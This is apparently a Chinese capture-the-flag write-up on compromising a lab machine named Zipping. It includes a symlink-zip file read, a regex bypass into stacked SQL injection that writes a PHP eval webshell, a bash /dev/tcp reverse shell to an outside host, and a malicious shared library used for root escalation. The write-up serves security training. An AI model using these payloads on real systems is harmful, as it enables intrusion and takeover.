信息搜集

nmap

1
2
3
4
5
sudo nmap -p- -sT -min-rate 3000 10.10.11.229

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

dirsearch

1
2
3
4
dirsearch -u http://10.10.11.229/  

[09:38:37] 301 - 311B - /shop -> http://10.10.11.229/shop/
[09:38:46] 200 - 5KB - /upload.php

文件包含

/shop存在文件包含漏洞(只能包含php),猜测源码是$page."php"之类的

任意文件读取

/upload.php存在任意文件读取;上传单个以pdf为后缀压缩的zip文件;可以用软连接读取任意文件;

1
2
3
4
5
6
ln -s /etc/passwd pass.pdf

ls -l pass.pdf
lrwxrwxrwx 1 kali kali 11 12月13日 09:52 pass.pdf -> /etc/passwd

zip --symlinks pass.zip pass.pdf

zip命令中的--symlinks选项用于指示zip命令在创建存档时如何处理符号链接。如果使用了–symlinks选项,zip命令将会存储符号链接本身,而不是符号链接所指向的文件。这意味着解压缩存档后,符号链接将会保留其链接关系,而不是被解压成实际的文件。

上传pass.zip文件,用bp抓包就可以读取到/etc/passwd;依次读取shop/index.php,/shop/cat.php等文件

1
2
3
4
5
6
7
8
9
10
11
#/var/www/html/shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#/var/www/html/shop/cat.php
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if ($product && $quantity > 0) {
// Product exists in database, now we can create/update the session variable for the cart
if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
if (array_key_exists($product_id, $_SESSION['cart'])) {
// Product exists in cart so just update the quanity
$_SESSION['cart'][$product_id] += $quantity;
} else {
// Product is not in cart so add it
$_SESSION['cart'][$product_id] = $quantity;
}
} else {
// There are no products in cart, this will add the first product to cart
$_SESSION['cart'] = array($product_id => $quantity);
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
}

// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {

// Remove the product from the shopping cart
unset($_SESSION['cart'][$_GET['remove']]);
}

// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
// Loop through the post data so we can update the quantities for every product in cart
foreach ($_POST as $k => $v) {
if (strpos($k, 'quantity') !== false && is_numeric($v)) {
$id = str_replace('quantity-', '', $k);
$quantity = (int)$v;
// Always do checks and validation
if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
// Update new quantity
$_SESSION['cart'][$id] = $quantity;
}
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}

// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
header('Location: index.php?page=placeorder');
exit;
}

if (isset($_POST['clear'])) {
unset($_SESSION['cart']);
}

// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
// There are products in the cart so we need to select those products from the database
// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
// We only need the array keys, not the values, the keys are the id's of the products
$stmt->execute(array_keys($products_in_cart));
// Fetch the products from the database and return the result as an Array
$products = $stmt->fetchAll(PDO::FETCH_ASSOC);
// Calculate the subtotal
foreach ($products as $product) {
$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
##/var/www/html/shop/products.php
<?php
// The amounts of products to show on each page
$num_products_on_each_page = 4;
// The current page - in the URL, will appear as index.php?page=products&p=1, index.php?page=products&p=2, etc...
$current_page = isset($_GET['p']) && is_numeric($_GET['p']) ? (int)$_GET['p'] : 1;
// Select products ordered by the date added
$stmt = $pdo->prepare('SELECT * FROM products ORDER BY date_added DESC LIMIT ?,?');
// bindValue will allow us to use an integer in the SQL statement, which we need to use for the LIMIT clause
$stmt->bindValue(1, ($current_page - 1) * $num_products_on_each_page, PDO::PARAM_INT);
$stmt->bindValue(2, $num_products_on_each_page, PDO::PARAM_INT);
$stmt->execute();
// Fetch the products from the database and return the result as an Array
$products = $stmt->fetchAll(PDO::FETCH_ASSOC);
// Get the total number of products
$total_products = $pdo->query('SELECT * FROM products')->rowCount();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#/var/www/html/functions.php
<?php
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
try {
return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
} catch (PDOException $exception) {
// If there is an error with the connection, stop the script and display the error.
exit('Failed to connect to database!');
}
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#/var/www/html/upload.php 
<?php
if(isset($_POST['submit'])) {
// Get the uploaded zip file
$zipFile = $_FILES['zipFile']['tmp_name'];
if ($_FILES["zipFile"]["size"] > 300000) {
echo "<p>File size must be less than 300,000 bytes.</p>";
} else {
// Create an md5 hash of the zip file
$fileHash = md5_file($zipFile);
// Create a new directory for the extracted files
$uploadDir = "uploads/$fileHash/";
$tmpDir = sys_get_temp_dir();
// Extract the files from the zip
$zip = new ZipArchive;
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo '<p>Please include a single PDF file in the archive.<p>';
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
$uploadPath = $tmpDir.'/'.$uploadDir;
echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');
if (file_exists($uploadPath.$fileName)) {
mkdir($uploadDir);
rename($uploadPath.$fileName, $uploadDir.$fileName);
}
echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
} else {
echo "<p>The unzipped file must have a .pdf extension.</p>";
}
}
} else {
echo "Error uploading file.";
}

}
}
?>

代码审计+sql

四个文件基本存在漏洞点的地方就是在cart.php的sql查询中

1
2
3
4
5
6
7
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);

要想办法绕过"/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/";这个正则匹配就是:如果你是以A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?这其中的字符开头或者以一个非数字结尾的话就会匹配成功

  • ^:匹配输入的开始位置。
  • .*:匹配任意字符(除换行符之外)零次或多次。
  • [A-Za-z!#$%^&*()-_=+{}[]\|;:’”,.<>/?]:匹配任意一个字母或特殊字符。
  • |:表示或者的意思。
  • [^0-9]:匹配除数字之外的任意字符。
  • $:匹配输入的结束位置。

我们这里就是利用了.*不匹配\n的特性来绕过正则匹配的

并且$pdo->query($sql)->fetch(PDO::FETCH_ASSOC);存在堆叠注入

webshell

现在思路比较清楚了,利用sql注入 into outfile上传木马,再文件包含木马;为什么要包含?直接把🐎放在/var/www/html/下,在访问不就可以了吗?确实,想的很美好;但是在上马的过程中会发现/var/www/html/一直不成功,猜测是没有权限,只能将🐎放在其他有权限的地方,再包含利用。

1
%0a'; select '<?php phpinfo();eval($_REQUEST[1]);?>' into outfile '/var/lib/mysql/shell.php'; --1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /shop/index.php?page=cart HTTP/1.1
Host: 10.10.11.229
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Origin: http://10.10.11.229
Connection: close
Referer: http://10.10.11.229/shop/index.php?page=product&id=1
Cookie: PHPSESSID=7c043nqbhm56rmfbgitd4vestc
Upgrade-Insecure-Requests: 1

quantity=1&product_id=%0a'%3B%20select%20'%3C%3Fphp%20phpinfo()%3Beval(%24_REQUEST%5B1%5D)%3B%3F%3E'%20into%20outfile%20'%2Fvar%2Flib%2Fmysql%2Fshell.php'%3B%20--1

再反弹webshell,成功拿到rektsu用户

1
2
3
4
"/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.13/5555 0>&1'"
%22%2Fbin%2Fbash%20-c%20'%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.13%2F5555%200%3E%261'%22

POST:1=system(%22%2Fbin%2Fbash%20-c%20'%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.13%2F5555%200%3E%261'%22);

成功拿到shell,我们再回去看一下之前没有上传成功是不是没有权限导致的;

1
2
3
4
5
6
7
8
rektsu@zipping:/var/www$ ls -l /var/www
drwxr-xr-x 5 root rektsu 4096 Sep 5 14:25 html

rektsu@zipping:/var/www$ ls /var/www/html -l
drwxrwxr-x 3 root rektsu 4096 Dec 13 02:46 shop

rektsu@zipping:/var/www$ ls -l /var/lib
drwxr-xr-x 6 mysql mysql 4096 Dec 13 02:51 mysql

这里有就有点懵逼了,为什么/var/www/html/shop有权限却没有上传成功;/var/lib/mysql没有权限却成功了,奇怪;

后来又想了一下是sql对写入文件的目录有限制

在MySQL中,secure_file_priv变量用于限制INTO OUTFILE语句写入文件的目录。如果该变量没有设置或者设置为空,那么MySQL服务器将使用默认的数据目录来保存文件。

登陆数据库看一下;果然和我猜想的一样;为空,使用默认的数据目录来保存文件

1
2
3
4
5
6
7
8
mysql -h localhost -u root -pMySQL_P@ssw0rd!

SHOW VARIABLES LIKE 'secure_file_priv';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+

提权

sudo -l发现可以运行一个二进制文件/usr/bin/stock

1
2
3
4
5
6
7
8
rektsu@zipping:/var/www$ sudo -l
sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock

/usr/bin/stock文件下载到本地gdb调试;

这里要我们输入密码,我们不知道,先输入垃圾字符

这个存在一个checkAuth,应该是验证密码的函数,按s跟进看一下这个函数在干嘛

可以看到将我们输入的字符与St0ckM4nager作比较;说明St0ckM4nager就是password

第二次调试:输入正确的密码,看看下面会执行什么

这里调用了dlopen函数并且文件名是/home/rektsu/.config/libcounter.so

在C语言中,dlopen函数用于动态加载共享库(也称为动态链接库)并返回一个句柄,以便在运行时使用库中的函数和符号。

一下就想到LD-PRELOAD劫持so文件到达提权的目的。ls -l /home/rektsu/.config/libcounter.so 并没有这个文件。需要我们再本地制作恶意的动态链接库;

1
2
3
4
#include <stdlib.h>
void _init() {
system("/bin/bash");
}

生成恶意动态链接库:gcc hack.c -fPIC -shared -o libcounter.so -nostartfiles

1
2
3
4
5
6
wget 10.10.16.13:8000/libcounter.so

sudo /usr/bin/stock
St0ckM4nager
id
uid=0(root) gid=0(root) groups=0(root)

总结

nmap搜集到80端口开放;dirsearch搜集/upload.php,/shop;其中/shop/index?page=存在包含任意php文件漏洞;/upload.php存在任意文件读取,读取到/var/www/html/shop/cart.php发现存在sql注入;可以利用into outfile注入🐎;再利用文件包含🐎;反弹shell得到rektsu用户;sudo -l发现sudo运行/usr/bin/stock文件,下载到本地调试,发现stock加载了动态链接库/home/rektsu/.config/libcounter.so;劫持动态链接库来提权。